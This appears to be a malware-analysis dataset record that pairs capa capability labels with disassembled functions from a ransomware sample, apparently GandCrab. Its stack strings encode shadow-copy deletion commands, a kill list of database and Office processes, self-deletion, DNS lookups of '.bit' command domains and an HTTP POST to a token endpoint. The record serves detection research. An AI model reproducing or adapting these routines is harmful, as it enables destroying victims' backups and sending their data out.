joyce8/EMBER2024-capa huggingface dataset:
Function at 0x193ba0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x694
push ebx
push esi
push edi
mov esi, ecx
call fcn.00193ae0
test eax, eax
je 0x193dba
call fcn.00193a60
test eax, eax
jne 0x193dba
push 0xff
lea eax, [esp + 0xa4]
mov dword [esp + 0x1c], 0x770025
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0x6e0069
push eax
mov dword [esp + 0x2c], 0x690064
mov dword [esp + 0x30], 0x250072
mov dword [esp + 0x34], 0x73005c
mov dword [esp + 0x38], 0x730079
mov dword [esp + 0x3c], 0x650074
mov dword [esp + 0x40], 0x33006d
mov dword [esp + 0x44], 0x5c0032
mov dword [esp + 0x48], 0x620077
mov dword [esp + 0x4c], 0x6d0065
mov dword [esp + 0x50], 0x77005c
mov dword [esp + 0x54], 0x69006d
mov dword [esp + 0x58], 0x63
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x54]
mov dword [esp + 0x54], 0x720070
push eax
lea eax, [esp + 0x2a8]
mov dword [esp + 0x5c], 0x63006f
push eax
mov dword [esp + 0x64], 0x730065
mov dword [esp + 0x68], 0x200073
mov dword [esp + 0x6c], 0x610063
mov dword [esp + 0x70], 0x6c006c
mov dword [esp + 0x74], 0x630020
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x7c], 0x740061
mov dword [esp + 0x80], 0x200065
mov dword [esp + 0x84], 0x630022
mov dword [esp + 0x88], 0x64006d
mov dword [esp + 0x8c], 0x2f0020
mov dword [esp + 0x90], 0x200063
mov dword [esp + 0x94], 0x740073
mov dword [esp + 0x98], 0x720061
mov dword [esp + 0x9c], 0x200074
mov dword [esp + 0xa0], 0x730025
mov dword [esp + 0xa4], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0x3000
push 0x3d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
mov dword [edi + 8], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x750072
mov dword [esp + 0x10], 0x61006e
mov dword [esp + 0x14], 0x73
mov dword [edi + 0xc], eax
lea eax, [esp + 0xa0]
mov dword [edi + 0x10], eax
lea eax, [esp + 0x2a0]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
lea esp, [esp]
push edi
call ebx
test eax, eax
jne 0x193dc1
inc esi
cmp esi, 0x64
jb 0x193da0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x193de0
Capabilities:
Check for time delay via gettickcount
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
push 4
push 0x3000
push 0x18
mov ebx, ecx
push 0
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x43
mov dword [eax + 4], ebx
xor ebx, ebx
mov word [eax], cx
mov eax, dword [0x19e304]
mov dword [esp + 0x38], eax
mov eax, dword [0x19e308]
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], eax
lea esi, [esp + 0x150]
mov edi, 0x41
jmp 0x193e40
lea eax, [esp + 0x38]
mov word [esp + 0x38], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jb 0x193e97
cmp eax, 5
je 0x193e97
mov eax, dword [esp + 0x10]
push 0
push 0
mov dword [esi - 4], eax
lea eax, [esi - 8]
push eax
push 0x196840
push 0
push 0
mov word [eax], di
mov dword [esi], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + ebx*4 + 0x48], eax
inc ebx
add esi, 0x18
inc edi
cmp di, 0x5a
jbe 0x193e40
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x50]
mov dword [esp + 0x24], ebx
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
push eax
push ebx
mov dword [esp + 0x24], 0
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0xc]
xorps xmm0, xmm0
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x10], 0
movlpd qword [esp + 0x40], xmm0
cmp ebx, 2
jb 0x193f5c
lea ecx, [ebx - 2]
mov ebx, dword [esp + 0x28]
shr ecx, 1
lea eax, [esp + 0x170]
inc ecx
mov dword [esp + 0xc], ecx
lea edx, [ecx + ecx]
mov dword [esp + 0x34], edx
mov edx, dword [esp + 0x24]
nop
mov ecx, dword [esp + 0x18]
add ecx, dword [eax - 0x20]
add ebx, dword [eax - 0x18]
mov dword [esp + 0x18], ecx
adc edi, dword [eax - 0x14]
mov ecx, dword [esp + 0x14]
add ecx, dword [eax - 8]
add esi, dword [eax]
mov dword [esp + 0x14], ecx
adc edx, dword [eax + 4]
lea eax, [eax + 0x30]
dec dword [esp + 0xc]
jne 0x193f20
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
jmp 0x193f64
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
cmp eax, ebx
jae 0x193f86
lea eax, [eax + eax*2]
mov ebx, dword [esp + eax*8 + 0x150]
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + eax*8 + 0x158]
mov eax, dword [esp + eax*8 + 0x15c]
jmp 0x193f8e
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x40]
add esi, ecx
mov ecx, dword [esp + 0x14]
adc edx, edi
add esi, ebx
adc edx, eax
add ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x34]
push esi
call fcn.00195540
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x193ff0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x1a2b00], 0
jne 0x194097
push edi
push 4
push 0x3000
push 0x16c4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x194090
xor ecx, ecx
lea eax, [edi + 0x16c1]
cmp edi, 0x19ff21
ja 0x19402f
cmp eax, 0x19e860
jae 0x194068
movdqa xmm1, xmmword [0x1a0940]
mov eax, edi
sub eax, 0x19e860
mov edi, edi
movdqu xmm0, xmmword [ecx + 0x19e860]
pxor xmm0, xmm1
movdqu xmmword [eax + ecx + 0x19e860], xmm0
add ecx, 0x10
cmp ecx, 0x16c0
jb 0x194040
cmp ecx, 0x16c2
jae 0x194090
push ebx
push esi
mov ebx, 0x19e860
lea edx, [ecx + edi]
mov esi, 0x16c2
sub ebx, edi
sub esi, ecx
jmp 0x194080
mov al, byte [ebx + edx]
lea edx, [edx + 1]
xor al, 5
mov byte [edx - 1], al
dec esi
jne 0x194080
pop esi
pop ebx
mov dword [0x1a2b00], edi
pop edi
ret
Function at 0x194330
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xac
push ebx
push esi
push edi
call fcn.00193ae0
test eax, eax
je 0x1943e0
xor ecx, ecx
mov dword [esp + 0x24], 0x77005c
mov dword [esp + 0x28], 0x650062
lea ebx, [esp + 0x24]
mov dword [esp + 0x2c], 0x5c006d
lea eax, [esp + 0x44]
mov dword [esp + 0x30], 0x6d0077
mov dword [esp + 0x34], 0x630069
mov dword [esp + 0x38], 0x65002e
mov dword [esp + 0x3c], 0x650078
mov word [esp + 0x40], cx
mov dword [esp + 0x44], 0x680073
mov dword [esp + 0x48], 0x640061
mov dword [esp + 0x4c], 0x77006f
mov dword [esp + 0x50], 0x6f0063
mov dword [esp + 0x54], 0x790070
mov dword [esp + 0x58], 0x640020
mov dword [esp + 0x5c], 0x6c0065
mov dword [esp + 0x60], 0x740065
mov dword [esp + 0x64], 0x65
jmp 0x1944d8
xor edi, edi
mov dword [esp + 0x10], 0x63005c
xor eax, eax
mov dword [esp + 0x14], 0x64006d
mov word [esp + 0xb4], ax
lea ebx, [esp + 0x10]
mov dword [esp + 0x18], 0x65002e
lea eax, [esp + 0x68]
mov dword [esp + 0x1c], 0x650078
mov word [esp + 0x20], di
mov dword [esp + 0x68], 0x63002f
mov dword [esp + 0x6c], 0x760020
mov dword [esp + 0x70], 0x730073
mov dword [esp + 0x74], 0x640061
mov dword [esp + 0x78], 0x69006d
mov dword [esp + 0x7c], 0x20006e
mov dword [esp + 0x80], 0x650064
mov dword [esp + 0x84], 0x65006c
mov dword [esp + 0x88], 0x650074
mov dword [esp + 0x8c], 0x730020
mov dword [esp + 0x90], 0x610068
mov dword [esp + 0x94], 0x6f0064
mov dword [esp + 0x98], 0x730077
mov dword [esp + 0x9c], 0x2f0020
mov dword [esp + 0xa0], 0x6c0061
mov dword [esp + 0xa4], 0x20006c
mov dword [esp + 0xa8], 0x71002f
mov dword [esp + 0xac], 0x690075
mov dword [esp + 0xb0], 0x740065
push 0x40
push 0x3000
push 0x400
push 0
mov dword [esp + 0x1c], eax
mov edi, 0x20
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1944ff
xor edi, edi
jmp 0x19452f
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push dword [esp + 0x14]
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp edi, eax
sbb edi, edi
neg edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x194550
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0x68]
call fcn.001939b0
lea ecx, [esp + 0x10]
call fcn.00196d90
lea ecx, [esp + 0x10]
call fcn.00196ba0
mov esi, eax
push 0x40
push 0x3000
lea ebx, [esi*2 + 0x42]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1945c7
lea ecx, [esi*2 + 0x40]
cmp ecx, ebx
jae 0x1945c7
mov esi, edi
jmp 0x1945c9
xor esi, esi
push str.Global_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [esp + 0x10]
lea eax, [esi + eax*2]
push eax
call fcn.001969a0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
je 0x19460e
call esi
cmp eax, 0xb7
je 0x19460e
xor esi, esi
jmp 0x194613
mov esi, 1
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x10]
call fcn.00197720
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x194640
Capabilities:
Enumerate processes
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], str.msftesql.exe
mov dword [esp + 0x1c], str.sqlagent.exe
mov dword [esp + 0x20], str.sqlbrowser.exe
mov dword [esp + 0x24], str.sqlservr.exe
mov dword [esp + 0x28], str.sqlwriter.exe
mov dword [esp + 0x2c], str.oracle.exe
mov dword [esp + 0x30], str.ocssd.exe
mov dword [esp + 0x34], str.dbsnmp.exe
mov dword [esp + 0x38], str.synctime.exe
mov dword [esp + 0x3c], str.mydesktopqos.exe
mov dword [esp + 0x40], str.agntsvc.exeisqlplussvc.exe
mov dword [esp + 0x44], str.xfssvccon.exe
mov dword [esp + 0x48], str.mydesktopservice.exe
mov dword [esp + 0x4c], str.ocautoupds.exe
mov dword [esp + 0x50], str.agntsvc.exeagntsvc.exe
mov dword [esp + 0x54], str.agntsvc.exeencsvc.exe
mov dword [esp + 0x58], str.firefoxconfig.exe
mov dword [esp + 0x5c], str.tbirdconfig.exe
mov dword [esp + 0x60], str.ocomm.exe
mov dword [esp + 0x64], str.mysqld.exe
mov dword [esp + 0x68], str.mysqld_nt.exe
mov dword [esp + 0x6c], str.mysqld_opt.exe
mov dword [esp + 0x70], str.dbeng50.exe
mov dword [esp + 0x74], str.sqbcoreservice.exe
mov dword [esp + 0x78], str.excel.exe
mov dword [esp + 0x7c], str.infopath.exe
mov dword [esp + 0x80], str.msaccess.exe
mov dword [esp + 0x84], str.mspub.exe
mov dword [esp + 0x88], str.onenote.exe
mov dword [esp + 0x8c], str.outlook.exe
mov dword [esp + 0x90], str.powerpnt.exe
mov dword [esp + 0x94], str.steam.exe
mov dword [esp + 0x98], str.sqlservr.exe
mov dword [esp + 0x9c], str.thebat.exe
mov dword [esp + 0xa0], str.thebat64.exe
mov dword [esp + 0xa4], str.thunderbird.exe
mov dword [esp + 0xa8], str.visio.exe
mov dword [esp + 0xac], str.winword.exe
mov dword [esp + 0xb0], str.wordpad.exe
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 4
push 0x3000
push 0x22c
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x1947eb
mov dword [ebx], 0x22c
cmp esi, 0xffffffff
je 0x1947eb
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebx + 0x24]
xor esi, esi
jmp 0x194800
push ecx
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x19483b
push dword [ebx + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x194835
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x19483b
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
lea ecx, [ebx + 0x24]
cmp esi, 0x27
jb 0x194800
mov esi, dword [esp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
lea ecx, [ebx + 0x24]
test eax, eax
jne 0x1947f4
test ebx, ebx
je 0x194869
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x194b10
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.00198b30
mov eax, dword [0x1a2b0c]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0x1a2b08]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x194b84
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x194cb0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.001984b0
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0x1a2b10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0x194d35
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0x194d2c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0x194cc6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0x194d27
inc eax
cmp byte [esi + eax], dl
jne 0x194d10
cmp byte [eax], 0
je 0x194cc6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0x194d00
pop edi
pop esi
test ebx, ebx
pop ebx
je 0x194d56
cmp dword [ebp - 0xc], 0
je 0x194d56
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.00194ba0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x194d60
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x48], 0x73006e
push eax
mov word [ebp - 0x10], ax
mov ebx, edx
mov dword [ebp - 8], eax
mov edi, ecx
lea eax, [ebp - 0xc]
mov dword [ebp - 0x44], 0x6f006c
push eax
push 0x1a2b0c
push 0x1a2b10
mov dword [ebp - 0x40], 0x6b006f
mov dword [ebp - 0x3c], 0x700075
mov dword [ebp - 0x38], 0x250020
mov dword [ebp - 0x34], 0x200053
mov dword [ebp - 0x30], 0x6e0064
mov dword [ebp - 0x2c], 0x310073
mov dword [ebp - 0x28], 0x73002e
mov dword [ebp - 0x24], 0x70006f
mov dword [ebp - 0x20], 0x6f0072
mov dword [ebp - 0x1c], 0x6e0064
mov dword [ebp - 0x18], 0x2e0073
mov dword [ebp - 0x14], 0x750072
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x194e09
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0x1a2b10]
call esi
test eax, eax
je 0x194dff
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1a2b14
push 0x1a2b08
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0x1a2b14]
call esi
test eax, eax
je 0x194dff
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x194e95
push ebx
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.00194b10
mov edx, ebx
mov ecx, edi
call fcn.00194cb0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x194eb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movdqa xmm0, xmmword [0x1a0960]
lea eax, [ebp - 0x44]
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push 0x3000
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push 0x100
push 0
mov dword [ebp - 0x20], 0x69736d65
mov dword [ebp - 0x1c], 0x74666f73
mov dword [ebp - 0x18], 0x7469622e
mov byte [ebp - 0x14], 0
movdqu xmmword [ebp - 0x44], xmm0
mov byte [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x646e6167
mov dword [ebp - 0x2c], 0x62617263
mov dword [ebp - 0x28], 0x7469622e
mov byte [ebp - 0x24], 0
mov dword [ebp - 8], eax
call edi
mov ebx, eax
test ebx, ebx
je 0x194fc0
xor ecx, ecx
xor esi, esi
mov eax, dword [ebp + esi*4 - 0x10]
inc esi
mov dword [ebp - 4], eax
xor eax, eax
cmp esi, 3
cmove esi, eax
cmp ecx, 0xffffffff
jne 0x194f52
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call edi
mov edx, dword [ebp - 4]
mov edi, eax
mov ecx, edi
call fcn.00194d60
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x194fa0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
or ecx, 0xffffffff
jmp 0x194f32
push edi
push 0x19ff64
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x194fd0
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0x195039
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0x195039
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x195270
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x404
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x200
push esi
push 0
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x195357
push 0
push 0
push 0
push 8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x195350
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x195347
lea esi, [eax + 0x4e]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
xor ebx, ebx
lea edi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
je 0x195338
mov ecx, esi
test bl, 1
jne 0x195323
mov al, byte [esi]
inc esi
mov byte [ebx + edi], al
jmp 0x195327
mov byte [ebx + edi], 0
push ecx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
add eax, eax
cmp ebx, eax
jb 0x195316
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x195370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 8], ebx
call fcn.001977f0
call fcn.00194eb0
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
mov ebx, eax
push 0
mov dword [ebp - 0x18], ebx
call esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x1953da
lea eax, [edi + 1]
cmp edi, eax
jb 0x1953dc
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.data
push ebx
call esi
push dword [ebp - 8]
push ebx
call esi
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push ebx
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [0x19ffe0]
movdqu xmmword [ebp - 0x74], xmm0
movdqu xmm0, xmmword [0x19fff0]
movdqu xmmword [ebp - 0x64], xmm0
movdqu xmm0, xmmword [0x1a0000]
movdqu xmmword [ebp - 0x54], xmm0
movdqu xmm0, xmmword [0x1a0010]
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [0x1a0020]
movdqu xmmword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
lea eax, [ebp - 0x480]
push 0x3fc
push edi
push eax
mov dword [ebp - 0x484], edi
call fcn.00198b30
add esp, 0xc
lea eax, [ebp - 0x484]
push str.curl.php_token
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x484]
call fcn.00195270
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x84]
push eax
push str.POST
sub esp, 8
push 0x31fff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x484]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.00197a00
test eax, eax
je 0x1954f8
cmp dword [ebp + 8], 0
mov edi, 1
je 0x1954f8
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
mov ecx, esi
call fcn.00195050
test eax, eax
je 0x1954f6
mov eax, dword [ebp - 8]
test eax, eax
je 0x1954f8
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x1954f8
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x19552e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret